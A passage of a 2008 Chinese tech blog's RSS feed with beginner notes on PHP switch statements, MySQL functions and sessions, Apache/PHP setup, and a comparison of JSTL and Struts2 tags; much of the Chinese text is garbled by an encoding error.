</span><span style="color: #000000">"</span><span style="color: #000000">Thu</span><span style="color: #000000">"</span><span style="color: #000000"> </span><span style="color: #000000">:</span><span style="color: #000000"> <br /> </span><span style="color: #008080">13</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />      </span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">今天星期?/span><span style="color: #000000">"</span><span style="color: #000000"> ; <br /> </span><span style="color: #008080">14</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />      </span><span style="color: #0000ff">break</span><span style="color: #000000">; <br /> </span><span style="color: #008080">15</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #0000ff">case</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">Fri</span><span style="color: #000000">"</span><span style="color: #000000"> </span><span style="color: #000000">:</span><span style="color: #000000"> <br /> </span><span style="color: #008080">16</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />      </span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">今天星期?/span><span style="color: #000000">"</span><span style="color: #000000"> ; <br /> </span><span style="color: #008080">17</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />      </span><span style="color: #0000ff">break</span><span style="color: #000000">; <br /> </span><span style="color: #008080">18</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />    </span><span style="color: #0000ff">default</span><span style="color: #000000">:</span><span style="color: #000000"> <br /> </span><span style="color: #008080">19</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />      </span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">今天攑ց</span><span style="color: #000000">"</span><span style="color: #000000"> ; <br /> </span><span style="color: #008080">20</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />      </span><span style="color: #0000ff">break</span><span style="color: #000000">; <br /> </span><span style="color: #008080">21</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" />  } <br /> </span><span style="color: #008080">22</span><span style="color: #000000"><img alt="" src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" /></span><span style="color: #000000">?></span><span style="color: #000000"> </span></div> <p>需要注意的是break;别遗漏了QdefaultQ省略是可以的?<br /> <br /> 数据库操作:<br /> </p> <p>1、mysql_connect </p> <p>打开 MySQL 服务器连接?<br /> 语法: int mysql_connect(string [hostname] [:port], string [username], string [password]); q回? 整数 </p> <p>本函数徏立与 MySQL 服务器的q接。其中所有的参数都可省略。当使用本函数却不加M参数Ӟ参数 hostname 的默认gؓ localhost、参?username 的默认gؓ PHP 执行行程的拥有者、参?password 则ؓI字W串 (x有密?。而参?hostname 后面可以加冒号与端口P代表使用哪个端口?MySQL q接?br /> 提示Q?mysql_close() 连接关掉可以节省资源?</p> <p>2?mysql_select_db </p> <p>选择一个数据库?<br /> 语法: int mysql_select_db(string database_name, int [link_identifier]); q回? 整数 </p> <p>本函数选择 MySQL 服务器中的数据库以供之后的资料查询作?(query) 处理。成功返?trueQ失败则q回 false?</p> <p>最单的例子Q?</p> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" /><span style="color: #000000"><?</span><span style="color: #000000">php<br /> </span><span style="color: #008080">2</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />  </span><span style="color: #800080">$conn</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #008080">mysql_connect</span><span style="color: #000000"> (</span><span style="color: #000000">"</span><span style="color: #000000">127.0.0.1:3306</span><span style="color: #000000">"</span><span style="color: #000000">,</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">root</span><span style="color: #000000">"</span><span style="color: #000000">,</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">root</span><span style="color: #000000">"</span><span style="color: #000000">);<br /> </span><span style="color: #008080">3</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />  </span><span style="color: #008080">mysql_select_db</span><span style="color: #000000">(</span><span style="color: #000000">"</span><span style="color: #000000">shop</span><span style="color: #000000">"</span><span style="color: #000000">); <br /> </span><span style="color: #008080">4</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" /></span><span style="color: #000000">?></span><span style="color: #000000"> </span></div> <p>q接机MY SQL数据库,打开php数据库?/p> <br /> 3、mysql_query <br /> 送出一?query 字符丌Ӏ?<br /> 语法: int mysql_query(string query, int [link_identifier]); q回? 整数 <p>本函数送出 query 字符串供 MySQL 做相关的处理或者执行。若没有指定 link_identifier 参数Q则E序会自动寻找最q打开?ID。当 query 查询字符串是 UPDATE、INSERT ?DELETE Ӟq回的可能是 true 或?falseQ查询的字符串是 SELECT 则返回新?ID |当返?false Ӟq不是执行成功但无返回|而是查询的字W串有错误?</p> <p>4、mysql_fetch_object <br /> q回c资料?<br /> 语法: object mysql_fetch_object(int result, int [result_typ]); q回? c?</p> <p>本函数用来将查询l果 result 拆到cd量中。若 result 没有资料Q则q回 false 倹{?</p> <div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><span style="color: #008080">1</span><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" /><span style="color: #000000"><?</span><span style="color: #000000"> php<br /> </span><span style="color: #008080">2</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />  </span><span style="color: #800080">$exec</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">select * from user</span><span style="color: #000000">"</span><span style="color: #000000">; <br /> </span><span style="color: #008080">3</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />  </span><span style="color: #800080">$result</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #008080">mysql_query</span><span style="color: #000000">(</span><span style="color: #800080">$exec</span><span style="color: #000000">); <br /> </span><span style="color: #008080">4</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />  </span><span style="color: #0000ff">while</span><span style="color: #000000">(</span><span style="color: #800080">$rs</span><span style="color: #000000"> </span><span style="color: #000000">=</span><span style="color: #000000"> </span><span style="color: #008080">mysql_fetch_object</span><span style="color: #000000">(</span><span style="color: #800080">$result</span><span style="color: #000000">)) <br /> </span><span style="color: #008080">5</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />  { <br /> </span><span style="color: #008080">6</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />    </span><span style="color: #0000ff">echo</span><span style="color: #000000"> </span><span style="color: #000000">"</span><span style="color: #000000">username:</span><span style="color: #000000">"</span><span style="color: #000000">.</span><span style="color: #800080">$rs</span><span style="color: #000000">-></span><span style="color: #000000">username</span><span style="color: #000000">.</span><span style="color: #000000">"</span><span style="color: #000000"><br></span><span style="color: #000000">"</span><span style="color: #000000">; <br /> </span><span style="color: #008080">7</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" />  } <br /> </span><span style="color: #008080">8</span><span style="color: #000000"><img src="http://www.tkk7.com/images/OutliningIndicators/None.gif" align="top" alt="" /></span><span style="color: #000000">?></span></div> <p>  </p> SESSION的用:<br /> <p>在页面开始我们要session_start();开启SESSIONQ然后就可以使用SESSION变量了?br /> 赋|$_SESSION['username'] = "cyanbomb";<br /> dQ?username = $_SESSION['username'];<br /> 判断是不是某SESSION变量为空Qempty($_SESSION['username'])Q返回true or false?/p> <img src ="http://www.tkk7.com/cyanbomb/aggbug/175726.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/cyanbomb/" target="_blank">cyanbomb</a> 2008-01-16 16:57 <a href="http://www.tkk7.com/cyanbomb/archive/2008/01/16/175726.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP学习记——安装配|?/title><link>http://www.tkk7.com/cyanbomb/archive/2008/01/16/175709.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Wed, 16 Jan 2008 07:48:00 GMT</pubDate><guid>http://www.tkk7.com/cyanbomb/archive/2008/01/16/175709.html</guid><wfw:comment>http://www.tkk7.com/cyanbomb/comments/175709.html</wfw:comment><comments>http://www.tkk7.com/cyanbomb/archive/2008/01/16/175709.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/cyanbomb/comments/commentRss/175709.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/cyanbomb/services/trackbacks/175709.html</trackback:ping><description><![CDATA[<p>工具版本如下Q?br /> 1、apache_2.0.55-win32-x86-no_ssl.msi<br /> 2、php-5.2.5-Win32.zip<br /> 3、mysql-5.0.10a-beta-win32.zip</p> <p>我本来用的是apache2.2.6和php2Q可是始l没试成功Q后来看到网上有apache2.2和php5不兼容,我换了现在的2.0版本Q一试一ơ性成功了Q呵c?br /> <br /> 配置Q?br /> <br /> 1、配|Apache服务?httpd.conf)<br /> <br /> <img alt="" src="http://www.tkk7.com/images/blogjava_net/cyanbomb/httpd_1.jpg" border="0" /><br /> <br /> “DocumentRoot”指的是网站根目录Q即apache安装目录下的htdocs文g夏V?br /> <br /> 注意Q\径地址里的“\”在Apache里要Ҏ(gu)“/”?br /> <br /> <img alt="" src="http://www.tkk7.com/images/blogjava_net/cyanbomb/httpd_2.jpg" border="0" /><br /> <br /> “DirectoryIndex”Q目录烦引)Q也是在仅指定目录的情况下Q默认显C的文g名,可以d多个Q系l会Ҏ(gu)从左臛_的顺<br /> <br /> 序来优先昄Q以单个半角I格隔开?br /> <br /> <img alt="" src="http://www.tkk7.com/images/blogjava_net/cyanbomb/httpd_3.jpg" border="0" /><br /> <br /> “# DefaultLanguage nl”前面?#8220;# ”LQ把“nl”Ҏ(gu)你要强制输出的语aQ中文是“zh-CN”Q这样就强制了所有输出文件的?br /> <br /> a~码?br /> <br /> <img height="464" alt="" src="http://www.tkk7.com/images/blogjava_net/cyanbomb/httpd_4.jpg" width="607" border="0" /><br /> <br /> “LoadModule php5_module E:/php/php5apache2.dll”是指以module方式加蝲phQ?br /> <br /> “PHPIniDir "E:/php"”是指明php的配|文件php.ini的位|?br /> <br /> <img alt="" src="http://www.tkk7.com/images/blogjava_net/cyanbomb/httpd_5.jpg" border="0" /><br /> <br /> 加上“AddType application/x-httpd-php .php”?#8220;AddType application/x-httpd-php .html”两行Q则.php?html文g可以执行phpE序<br /> <br /> 了,你甚臌可以d上一?#8220;AddType application/x-httpd-php .txt”Q让普通的文本文g格式也能q行phpE序?br /> <br /> 2、php配置<br /> <br /> 把php目录Q例QE:\phpQ下的php.ini-dist重命名ؓphp.ini<br /> <br /> 讄pȝ环境变量Q将php安装路径、及里面的ext路径写入PATH当中Q如QE:\php;E:\php\ext。系l\径添加好后要重启?sh)脑才?br /> <br /> 生效?br /> <br /> <img height="245" alt="" src="http://www.tkk7.com/images/blogjava_net/cyanbomb/php_ini_1.jpg" width="479" border="0" /><br /> <br /> php.ini文g中有?#8220;register_globals = Off”|q个值是用来打开全局变量的,比如表单送过来的|如果q个D?#8220;Off”Q就?br /> <br /> 能用“$_POST['变量?]?_GET['变量?']”{来取得送过来的|如果设ؓ“On”Q就可以直接使用“$变量?#8221;来获取送过?br /> <br /> 的|当然Q设?#8220;Off”比较安全,不会让hL网间传送的数据截取?br /> <br /> <img alt="" src="http://www.tkk7.com/images/blogjava_net/cyanbomb/php_ini_2.jpg" border="0" /><br /> <br /> 要php能够直接调用其它模块Q如图所C,只须选择要加载的模块Q去掉前面的 “;”Q就表示要加载此模块了。比如我要用<br /> <br /> mysqlQ就要把“;extension= php_mysql.dll”前的“;”L。所有的模块文g都放在php解压~目录的“ext”之下?br /> <br /> 以上都是我随便先记录下来的,到这php与Apache的结合已l算完成了,至于mysql好像没什么要配了Q可能有点ؕQ我也是?br /> <br /> 鸟,刚学Q见W了Q请大家多提宝贵意见Q我会慢慢更新的?br /> <br /> <span style="font-family: 隶书"><span style="color: red"><span style="font-family: 隶书"><span style="font-family: 隶书"><span style="color: #000000; font-family: 隶书">----------------------------<br /> </span></span></span><span style="font-family: 隶书"><span style="color: red">珍惜原创,谢绝盗版! <span style="color: rgb(0,0,255)">- cYanbomb</span></span></span><br /> </span></span></p> <img src ="http://www.tkk7.com/cyanbomb/aggbug/175709.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/cyanbomb/" target="_blank">cyanbomb</a> 2008-01-16 15:48 <a href="http://www.tkk7.com/cyanbomb/archive/2008/01/16/175709.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JSTL与Struts2标签的用对?/title><link>http://www.tkk7.com/cyanbomb/archive/2007/12/29/171440.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Sat, 29 Dec 2007 03:15:00 GMT</pubDate><guid>http://www.tkk7.com/cyanbomb/archive/2007/12/29/171440.html</guid><wfw:comment>http://www.tkk7.com/cyanbomb/comments/171440.html</wfw:comment><comments>http://www.tkk7.com/cyanbomb/archive/2007/12/29/171440.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.tkk7.com/cyanbomb/comments/commentRss/171440.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/cyanbomb/services/trackbacks/171440.html</trackback:ping><description><![CDATA[1. 条g标签<br />     JSTL:  <br /> <div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br /> <br /> Code highlighting produced by Actipro CodeHighlighter (freeware)<br /> http://www.CodeHighlighter.com/<br /> <br /> --><span style="color: rgb(0,128,128)"> 1</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:if </span><span style="color: rgb(255,0,0)">test</span><span style="color: rgb(0,0,255)">="${user.password == 'hello'}"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 2</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:choose</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 3</span> <span style="color: rgb(0,0,0)">        </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:when </span><span style="color: rgb(255,0,0)">test</span><span style="color: rgb(0,0,255)">="${user.age <= 18}"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 4</span> <span style="color: rgb(0,0,0)">            </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">font </span><span style="color: rgb(255,0,0)">color</span><span style="color: rgb(0,0,255)">="blue"</span><span style="color: rgb(255,0,0)"> </span><span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 5</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)">    </</span><span style="color: rgb(128,0,0)">c:when</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 6</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)">    <</span><span style="color: rgb(128,0,0)">c:when </span><span style="color: rgb(255,0,0)">test</span><span style="color: rgb(0,0,255)">="${user.age <= 30 && user.age > 18}"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 7</span> <span style="color: rgb(0,0,0)">        </span><span style="color: rgb(0,0,255)">    <</span><span style="color: rgb(128,0,0)">font </span><span style="color: rgb(255,0,0)">color</span><span style="color: rgb(0,0,255)">="red"</span><span style="color: rgb(255,0,0)"> </span><span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 8</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)">    </</span><span style="color: rgb(128,0,0)">c:when</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 9</span> <span style="color: rgb(0,0,0)">        </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:otherwise</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">10</span> <span style="color: rgb(0,0,0)">            </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">font </span><span style="color: rgb(255,0,0)">color</span><span style="color: rgb(0,0,255)">="green"</span><span style="color: rgb(255,0,0)"> </span><span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">11</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)">    </</span><span style="color: rgb(128,0,0)">c:otherwise</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">12</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">c:choose</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">13</span> <span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">c:if</span><span style="color: rgb(0,0,255)">></span></div>     Struts2:<br /> <div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br /> <br /> Code highlighting produced by Actipro CodeHighlighter (freeware)<br /> http://www.CodeHighlighter.com/<br /> <br /> --><span style="color: rgb(0,128,128)">1</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">s:if </span><span style="color: rgb(255,0,0)">test</span><span style="color: rgb(0,0,255)">="#</span><span style="color: rgb(0,0,255)">user.age <</span><span style="color: rgb(0,0,255)">= 18"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">2</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">font </span><span style="color: rgb(255,0,0)">color</span><span style="color: rgb(0,0,255)">="blue"</span> <span style="color: rgb(0,0,255)">/></span><br /> <span style="color: rgb(0,128,128)">3</span> <span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">s:if</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">4</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">s:elseif </span><span style="color: rgb(255,0,0)">test</span><span style="color: rgb(0,0,255)">="#user.age <= 30 && user.age > 18"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">5</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">font </span><span style="color: rgb(255,0,0)">color</span><span style="color: rgb(0,0,255)">="red"</span> <span style="color: rgb(0,0,255)">/></span><br /> <span style="color: rgb(0,128,128)">6</span> <span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">s:elseif</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">7</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">font </span><span style="color: rgb(255,0,0)">color</span><span style="color: rgb(0,0,255)">="green"</span> <span style="color: rgb(0,0,255)">/></span><br /> <span style="color: rgb(0,128,128)">8</span> <span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">s:else</span><span style="color: rgb(0,0,255)">></span></div> <br /> 2. q代标签<br />     JSTL:<br /> <div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br /> <br /> Code highlighting produced by Actipro CodeHighlighter (freeware)<br /> http://www.CodeHighlighter.com/<br /> <br /> --><span style="color: rgb(0,128,128)">1</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:forEach </span><span style="color: rgb(255,0,0)">var</span><span style="color: rgb(0,0,255)">="user"</span><span style="color: rgb(255,0,0)"> items</span><span style="color: rgb(0,0,255)">="${users}"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">2</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:out </span><span style="color: rgb(255,0,0)">value</span><span style="color: rgb(0,0,255)">="${user.userName}"</span><span style="color: rgb(255,0,0)"> </span><span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">3</span> <span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">c:forEach</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">4</span> <span style="color: rgb(0,128,0)"><!--</span><span style="color: rgb(0,128,0)"> q代固定ơ数 </span><span style="color: rgb(0,128,0)">--></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">5</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:forEach </span><span style="color: rgb(255,0,0)">var</span><span style="color: rgb(0,0,255)">="i"</span><span style="color: rgb(255,0,0)"> begin</span><span style="color: rgb(0,0,255)">="1"</span><span style="color: rgb(255,0,0)"> end</span><span style="color: rgb(0,0,255)">="10"</span><span style="color: rgb(255,0,0)"> step</span><span style="color: rgb(0,0,255)">="3"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">6</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:out </span><span style="color: rgb(255,0,0)">value</span><span style="color: rgb(0,0,255)">="${i}"</span><span style="color: rgb(255,0,0)"> </span><span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">7</span> <span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">c:forEach</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">8</span> <span style="color: rgb(0,128,0)"><!--</span><span style="color: rgb(0,128,0)"> q种循环相当于for(int i=1; i<10; i++), 其中step是指q代的步?默认?. </span><span style="color: rgb(0,128,0)">--></span></div>     Struts2:<br /> <div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br /> <br /> Code highlighting produced by Actipro CodeHighlighter (freeware)<br /> http://www.CodeHighlighter.com/<br /> <br /> --><span style="color: rgb(0,128,128)">1</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">s:iterator </span><span style="color: rgb(255,0,0)">value</span><span style="color: rgb(0,0,255)">="#users"</span><span style="color: rgb(255,0,0)"> status</span><span style="color: rgb(0,0,255)">="stuts"</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)">                <br /> </span><span style="color: rgb(0,128,128)">2</span>     <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">s:if </span><span style="color: rgb(255,0,0)">test</span><span style="color: rgb(0,0,255)">="#stuts.odd == true"</span><span style="color: rgb(0,0,255)">>   </span><span style="color: rgb(0,128,0)"><!-- </span><span style="color: rgb(0,128,0)">判断是否为奇数行 --></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">3</span> <span style="color: rgb(0,0,0)">        </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">s:property </span><span style="color: rgb(0,0,255)"><span style="color: red">value</span>="userName" /></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">4</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">s:if</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">5</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">s:else</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">6</span> <span style="color: rgb(0,0,0)">        </span><span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">s:property</span><span style="color: rgb(0,0,255)"><span style="color: red"> value</span>="passWord" </span><span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">7</span> <span style="color: rgb(0,0,0)">    </span><span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">s:else</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)">8</span> <span style="color: rgb(0,0,255)"></</span><span style="color: rgb(128,0,0)">s:iterator</span><span style="color: rgb(0,0,255)">><br /> </span></div> <br /> 3. URL相关标签<br />     JSTL:<br /> <div style="border-right: rgb(204,204,204) 1px solid; padding-right: 5px; border-top: rgb(204,204,204) 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: rgb(204,204,204) 1px solid; width: 98%; padding-top: 4px; border-bottom: rgb(204,204,204) 1px solid; background-color: rgb(238,238,238)"><!--<br /> <br /> Code highlighting produced by Actipro CodeHighlighter (freeware)<br /> http://www.CodeHighlighter.com/<br /> <br /> --><span style="color: rgb(0,128,128)"> 1</span> <span style="color: rgb(0,128,0)"><!--</span><span style="color: rgb(0,128,0)"> l对路径 </span><span style="color: rgb(0,128,0)">--></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 2</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:import </span><span style="color: rgb(255,0,0)">url</span><span style="color: rgb(0,0,255)">="http://127.0.0.1:8080/hello/hello.jsp"</span><span style="color: rgb(255,0,0)"> </span><span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 3</span> <span style="color: rgb(0,128,0)"><!--</span><span style="color: rgb(0,128,0)"> 相对路径 </span><span style="color: rgb(0,128,0)">--></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,0,0)"> </span><span style="color: rgb(0,128,128)">4</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">c:import </span><span style="color: rgb(255,0,0)">url</span><span style="color: rgb(0,0,255)">="hello.jsp"</span><span style="color: rgb(255,0,0)"> </span><span style="color: rgb(0,0,255)">/></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 5</span> <span style="color: rgb(0,128,0)"><!--</span><span style="color: rgb(0,128,0)"> Encode </span><span style="color: rgb(0,128,0)">--></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: rgb(0,128,128)"> 6</span> <span style="color: rgb(0,0,255)"><</span><span style="color: rgb(128,0,0)">a </span><span style="color: rgb(255,0,0)">href</span><span style="color: rgb(0,0,255)">="<c:url value='hello.jsp'><c:param name='userName' value='cyanbomb' /></c:url>"</span><span style="color: rgb(0,0,255)">></</span><span style="color: rgb(128,0,0)">a</span><span style="color: rgb(0,0,255)">></span><span style="color: rgb(0,0,0)"><br /> </span><span style="color: 